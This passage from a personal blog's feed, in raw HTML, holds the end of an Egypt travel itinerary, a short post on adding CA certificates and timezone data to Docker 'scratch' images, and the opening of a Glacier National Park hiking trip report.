<a href="https://hodhodsolimanballoons.com/book-hot-air-balloon-in-luxor/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hot Air Balloon Ride</a> over Valley of the Kings for 700 EGP. It is a fabulous ride and I highly recommend it.</p>
<figure>
    
    <a href="Luxor_Hot_air_balloon_1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Hot_air_balloon_1-1024x768.jpg"
         alt="A colorful hot air balloon hovers over the Valley of the Kings landscape" width="905"/> </a>
</figure>

<figure>
    
    <a href="Luxor_Hot_air_ballon_as_seen_from_hot_air_balloon-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Hot_air_ballon_as_seen_from_hot_air_balloon-1024x768.jpg"
         alt="A hot air balloon hovers over a desert landscape near Luxor, Egypt, offering aerial views of the Valley of the Kings during early morning light." width="905"/> </a>
</figure>

<p>I was back by 7:30 AM to start the second day of the tour that covered Valley of the Kings (tombs, the temple of Queen Hatshepsut, and the temple of Medinet Habu).
The ticket for Tutankhamun&rsquo;s tomb is extra and our guide recommended that it is not worth it.
On the standard ticket of 240 EGP, you are allowed to visit any three tombs.
I wouldn&rsquo;t recommend going here without a guide.
There is little to see unless you are on a guided tour or at least carrying a book that explains the tombs and the history.
As per the guide, in per COVID times, about 10, 000 tourists use to visit every year.</p>
<figure>
    
    <a href="Luxor_Valley_of_the_kings_Ramses_IV-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Valley_of_the_kings_Ramses_IV-768x1024.jpg"
         alt="Ramses IV Tomb" width="900"/> </a>
</figure>

<figure>
    
    <a href="three_headed_snake-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="three_headed_snake-1024x768.jpg"
         alt="Hieroglyph-covered walls in the Valley of the Kings with an illustration of a three-headed snake" width="905"/> </a>
</figure>

<p>From here we visited the Hatshepsut Temple. The entry fee here is 140 EGP. Hatshepsut is one of the two female pharaohs in Egyptian history. There is an obelisk marking here in the Karnak temple as well. This temple is heavily restored. Both the first and third floors have been rebuilt.</p>
<figure>
    
    <a href="Luxor_Hatshepsut_temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Hatshepsut_temple-1024x768.jpg"
         alt="A heavily restored temple with three floors, where both the first and third have been rebuilt, situated in a historical setting." width="905"/> </a>
</figure>

<p>Then we stopped at Colossi of Memnon which consists of two 14th century BC statues of   
    
    
<a href="https://en.wikipedia.org/wiki/Amenhotep_III?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Amenhotep III</a>.</p>
<figure>
    
    <a href="Luxor_colossi_of_Memnon-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_colossi_of_Memnon-1024x768.jpg"
         alt="Two large stone statues of Amenhotep III stand prominently outdoors, representing ancient Egyptian craftsmanship, dated to the 14th century BC." width="905"/> </a>
</figure>

<figure>
    
    <a href="Luxor_Medinet_Habu_temple-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Luxor_Medinet_Habu_temple-1024x768.jpg"
         alt="Two large ancient stone statues, known as the Colossi of Memnon, stand in an open area in Luxor, Egypt." width="905"/> </a>
</figure>

<p>From here, depending on how much time and energy you have left, either you can go to Hurghada via a 4-hour 115 EGP bus journey, spend a day or two there, and take a 6-hour 210 EGP bus journey to Cairo or you can directly go to Aswan via a train ride.</p>
<h2 id="day-8---cairo">Day 8 - Cairo</h2>
<p>I did the Cairo Museum on the second day of my trip, but I would recommend keeping it for the last.
Once you have seen all the temples, it makes much more sense to visit the museum.
It is more like a storehouse than a museum.
The best parts of the museum are on the second floor right side where you can see some really well-preserved mummies of Tuyo and Suyo.</p>
<figure>
    
    <a href="Mummy1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Mummy1-1024x768.jpg"
         alt="A well-preserved mummy is displayed in a museum, with informative text indicating its location on the second floor&#39;s right side, showcasing mummies of Tuyo and Suyo." width="905"/> </a>
</figure>

<figure>
    
    <a href="Cairo_tower-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Cairo_tower-768x1024.jpg"
         alt="The Cairo Tower, stands prominently against a clear blue sky, featuring a unique open lattice design with a circular observation deck." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>In case you need a COVID-19 negative report to fly back then you can get tested at Central Public Laboratories for 480 EGP. The labs are not well marked and Google search won&rsquo;t work either. Best to find some travelers in your departure city since you would need recent tests anyway.</li>
<li>In smaller cities, it is best to show up and book than to book via say booking.com. You will get a 25-50% discount.</li>
<li>I paid about 2825 EGP (~180$) in entry fees. Given that lodging and food are relatively cheap, the tickets are going to be a big component of anyone&rsquo;s expenses. Students with student ID and under the age of 30 pay 50% for tickets everywhere.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/egypt" term="egypt" label="egypt"/><category scheme="https://ashishb.net/tag/africa" term="africa" label="africa"/></entry><entry><title type="html">Docker: Be careful about the scratch image</title><link href="https://ashishb.net/programming/docker-scratch-image/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/free-deployment-of-side-projects/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy side projects as web services for free"/><link href="https://ashishb.net/programming/docker-101/?utm_source=atom_feed" rel="related" type="text/html" title="Docker 101: A basic web-server displaying hello world"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><id>https://ashishb.net/programming/docker-scratch-image/</id><author><name>Ashish Bhatia</name></author><published>2020-12-08T17:00:01+00:00</published><updated>2020-12-08T17:00:01+00:00</updated><content type="html"><![CDATA[<blockquote>Learn how to reduce Docker image sizes using &ldquo;scratch&rdquo; while ensuring SSL verification with essential packages. Discover insights on Alpine&rsquo;s minimal image content.</blockquote><p>After I wrote my 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">previous</a> post, some suggested that I can cut down the image size further by using a &ldquo;scratch&rdquo; image. And that&rsquo;s true, &ldquo;scratch i&quot;s a reserved 0-sized image with nothing in it. And utilizing a scratch binary image did cut down the size of the final Docker image from 13MB to 7.5MB. Pretty good, right? Except the image cannot do an SSL cert verification because of the missing SSL certs!!!</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Failed to reach google.com: Get https://google.com: x509: certificate signed by unknown authority</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The fix was relatively easy.
Build <code>ca-certificates</code> in the builder phase.
Another thing to add during the builder phase is the timezone data.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#719e07">RUN</span> apk add --no-cache ca-certificates
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Alpine doesn&#39;t have tzdata installed by default.</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># We need timezone information for parsing dates.</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> apk add --no-cache tzdata</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And copy these over in the run phase.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> --from<span style="color:#719e07">=</span>builder /usr/share/zoneinfo /usr/share/zoneinfo</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The final image is about 0.2 MB larger, and the problem is fixed.
See the final code   
    
    
<a href="https://github.com/ashishb/scratch-docker-repo-testing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<p>But, what else is in the 5 MB alpine docker image?</p>
<p>The images are from   
    
    
<a href="https://github.com/alpinelinux/docker-alpine/blob/38e5f8a8728204d1b8c3ab62cbf28c2110f8a544/x86_64/Dockerfile?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://github.com/alpinelinux/docker-alpine</a> and check its content. There are tons of standard shell utilities like &ldquo;ls&rdquo; symlinked to &ldquo;busybox&rdquo;, alpine package database (/apk), other standard libraries for C,  SSL. Here are the biggest contributors to size.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>-rwxr-xr-x  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>      <span style="color:#2aa198">100144</span> Aug <span style="color:#2aa198">26</span>  <span style="color:#2aa198">2019</span> ./lib/libz.so.1.2.11
</span></span><span style="display:flex;"><span>-rw-r--r--  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>      <span style="color:#2aa198">215579</span> Mar  <span style="color:#2aa198">5</span> 08:00 ./etc/ssl/certs/ca-certificates.crt
</span></span><span style="display:flex;"><span>-rwxr-xr-x  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>      <span style="color:#2aa198">523728</span> Apr <span style="color:#2aa198">21</span> 08:35 ./lib/libssl.so.1.1
</span></span><span style="display:flex;"><span>-rwxr-xr-x  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>      <span style="color:#2aa198">596528</span> Apr <span style="color:#2aa198">12</span> 04:06 ./lib/ld-musl-x86_64.so.1
</span></span><span style="display:flex;"><span>-rwxr-xr-x  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>      <span style="color:#2aa198">841288</span> Mar <span style="color:#2aa198">29</span> 12:43 ./bin/busybox
</span></span><span style="display:flex;"><span>-rwxr-xr-x  <span style="color:#2aa198">0</span> <span style="color:#2aa198">0</span>      <span style="color:#2aa198">0</span>     <span style="color:#2aa198">2597536</span> Apr <span style="color:#2aa198">21</span> 08:35 ./lib/libcrypto.so.1.1</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>I think it is OK to use scratch as long as you are building a static binary and copying root certificates.
I, personally, feel that it&rsquo;s better to use a 5MB larger alpine Linux image with no surprises.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/docker" term="docker" label="docker"/></entry><entry><title type="html">Glacier National Park in 4 days</title><link href="https://ashishb.net/travel/glacier-national-park/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/lassen-volcanic-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking in Lassen Volcanic National Park, California"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/zion-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Two days at Zion National Park"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><id>https://ashishb.net/travel/glacier-national-park/</id><author><name>Ashish Bhatia</name></author><published>2020-12-01T17:00:52+00:00</published><updated>2020-12-01T17:00:52+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the beauty of Glacier National Park: stunning hikes, unpredictable weather, and breathtaking scenery await. Discover the best trails and views!</blockquote><p>Glacier National Park, Montana is considered to be one of the most gorgeous national parks in the US. We went there in September 2020. It wasn&rsquo;t snowing but the weather was still pretty erratic with random cold showers during the day. So, I would recommend going no later than August. Also, the east side, which has Native American reservations were closed to prevent COVID-19 spread.</p>
<p>Dressing in at least three layers is highly recommended as the weather changes dramatically with heights and the time of the day.</p>
<h2 id="day-1">Day 1</h2>
<p>We entered from the western side, which almost everyone uses, and drove to the furthest possible point, Rising Sun, on &ldquo;going to the sun road&rdquo;, the main road through the park.</p>
<figure>
    
    <a href="Rising_Sun_resized-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rising_Sun_resized-1024x768.jpg"
         alt="A scenic view of St. Mary&#39;s Lake, visible from Rising Sun on Going-to-the-Sun Road in a national park, showcasing natural landscape beauty." width="900"/> </a>
</figure>

<p>This also provides the best view of the second-largest lake, St. Mary&rsquo;s Lake.</p>
<p>Then, we drove westwards (back) to check out Sunrift Gorge. It can be seen via a very small hike.</p>
<figure>
    
    <a href="Rift_George-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Rift_George-768x1024.jpg"
         alt="A narrow rocky gorge is seen with steep, rugged walls and a small stream flowing through it, accessible via a short hike." width="900"/> </a>
</figure>

<p>From here, we did a small hike to Baring Falls</p>
<figure>
    
    <a href="Baring_Falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Baring_Falls-768x1024.jpg"
         alt="A scenic hiking trail leads to Baring Falls, surrounded by lush greenery and rugged terrain, offering a visually striking natural landscape." width="900"/> </a>
</figure>

<p>And then we did a long ~10-mile round-trip hike to Siyeh Pass.</p>
<figure>
    
    <a href="Siyeh_Pass_Trailhead_1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Siyeh_Pass_Trailhead_1-768x1024.jpg"
         alt="A mountainous landscape with a hiking trail leading through rugged terrain" width="900"/> </a>
</figure>

<figure>
    
    <a href="Siyeh_Pass_Trailhead_2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Siyeh_Pass_Trailhead_2-1024x768.jpg"
         alt="A trailhead sign labeled &#39;Siyeh Pass Trailhead&#39; stands amidst a scenic outdoor setting, indicating the start of a hiking trail." width="900"/> </a>
</figure>

<p>Driving further westward, we stopped and hiked to St. Mary&rsquo;s Falls.</p>
<figure>
    
    <a href="Saint_Mary_Falls-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Saint_Mary_Falls-768x1024.jpg"
         alt="A forested hiking trail leads to St. Mary&#39;s Falls in a mountain setting, part of a 17-mile round-trip from Logan Pass." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>We decided to do a long hike here, a 17-mile round-trip that starts from Logan Pass trailhead to go to Granite Park chalet. I would recommend doing a small 2-mile detour at the end to check out Grinnell Glacier. The hike is called Highline Trail and true to its name, it is mostly along a cliff. I wouldn&rsquo;t recommend it to someone with acrophobia.</p>
<p>We did see a couple of bears on this hike.</p>
<figure>
    
    <a href="Highline_Trail_1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_1-768x1024.jpg"
         alt="A rocky trail ascends a steep mountainside, surrounded by lush greenery" width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_2_bear_1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_2_bear_1-768x1024.jpg"
         alt="A bear is walking along a mountainous trail with rocky terrain and lush vegetation" width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_3_bear_2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_3_bear_2-768x1024.jpg"
         alt="A bear is walking along a trail in a mountainous area, surrounded by lush vegetation, with &#39;Highline Trail&#39; mentioned in surrounding text." width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_4_Granite_Chalet-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_4_Granite_Chalet-1024x768.jpg"
         alt="A bear is walking along a trail bordered by lush greenery and vibrant wildflowers, with mountainous terrain in the background." width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_5_Grinell_Glacier_hike-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_5_Grinell_Glacier_hike-768x1024.jpg"
         alt="Highline Trail" width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_6_Grinell_Glacier_overlook-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_6_Grinell_Glacier_overlook-768x1024.jpg"
         alt="A scenic mountain trail with rocky terrain and lush greenery, showcasing a distant glacier overlook." width="900"/> </a>
</figure>

<figure>
    
    <a href="Highline_Trail_7-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_7-1024x768.jpg"
         alt="A rocky trail leads through a mountainous landscape with hikers exploring the scenic surroundings" width="905"/> </a>
</figure>

<p>After this hike, we decided to do a small ~2-mile hike to Hidden Lake overlook. The further ~1-mile one-way hike to the lake was closed due to the bear activity.</p>
<figure>
    
    <a href="Highline_Trail_8-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Highline_Trail_8-1024x768.jpg"
         alt="A trail with mountainous terrain under a clear blue sky, accompanied by a notice about a closed hike due to bear activity near a lake overlook." width="905"/> </a>
</figure>

<h2 id="day-3">Day 3</h2>
